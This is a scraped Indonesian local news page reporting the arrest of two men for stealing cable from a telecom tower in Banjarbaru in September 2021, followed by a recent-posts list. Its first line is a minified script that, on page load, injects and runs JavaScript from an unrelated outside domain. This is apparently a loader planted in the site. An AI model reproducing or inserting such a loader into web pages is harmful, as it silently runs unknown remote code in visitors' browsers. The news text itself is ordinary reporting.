(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Potong Kabel BTS di Guntung Manggis, Dua Laki-laki Ditangkap Polisi


KANALKALIMANTAN.COM, BANJARBARU – Dua laki-laki spesialis pencuri kabel di Base Transceiver Station (BTS) diringkus aparat Polsek Banjarbaru Barat. Aksi dua pengutil di tower telekomunikasi itu terjadi pada Kamis (9/9/2021) di Jalan Karang Rejo, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.

Pelaku beraksi sekitar pukul 23.00 Wita, ketika pelaku beraksi pada waktu tersebut kedapatan salah seorang saksi. Setelah itu kedua pelaku diamankan saat melakukan pencurian kabel di BTS tersebut.

M Dian Azmi (23) langsung melaporkan kejadian tersebut ke pihak pimpinan perusahan, karena pihak perusahan mengalami kerugian akibat pencurian tersebut sebesar Rp 1 juta.

Kapolsek Banjarbaru Barat, AKP Yuda Kumoro Pardede melalu Kasi Humas Polsek Banjarbaru Barat, Iptu Kardi Gunadi, membenarkan tentang kejadian tersebut.

 

Baca juga : Satu Keluarga Tewas Tertimbun Pakaian di Banjarmasin, Polisi Sebut Murni Kecelakaan

“Pelaku kami amankan di Mapolsek Banjarbaru Barat, dari keterangan kedua pelaku mereka mengakui pencurian tersebut dengan cara memotong kabel,” kata Ipyu Kardi Gunadi.

Pelaku diamankan ke Mapolsek Banjarbaru Barat pada hari Jumat (10/9/2021) pukul 01.00 Wita oleh Tim Reskrim Polsek Banjarbaru Barat.

Identitas kedua pelaku tersebut AR (31), warga jalan Martapur Lama Km 14,500, RT 001, Kelurahan Sungai Tabuk, Kabupaten Banjar. Pelaku kedua S (31), warga jalan Pangeran Antasari RT 004 RW 001, Kelurahan Tirta Jaya, Kecamatan Bajuin, Kabupaten Tanah Laut.

Barang bukti yang berhasil diamankan satu buah kabel grounding dengan panjang sekitar 4 meter, satu unit sepeda motordan beberapa jenis tang yang digunakan pelaku kala beraksi.

“Pelaku tindak pidana akan dijatuhi dengan pemberatan sebagaimana yang dimaksud dalam pasal 363 ayat 1 ke 4 dan ke 5 KUHPidana,” tutupnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

58 menit ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

3 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

11 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

12 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

13 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

13 jam ago

This website uses cookies.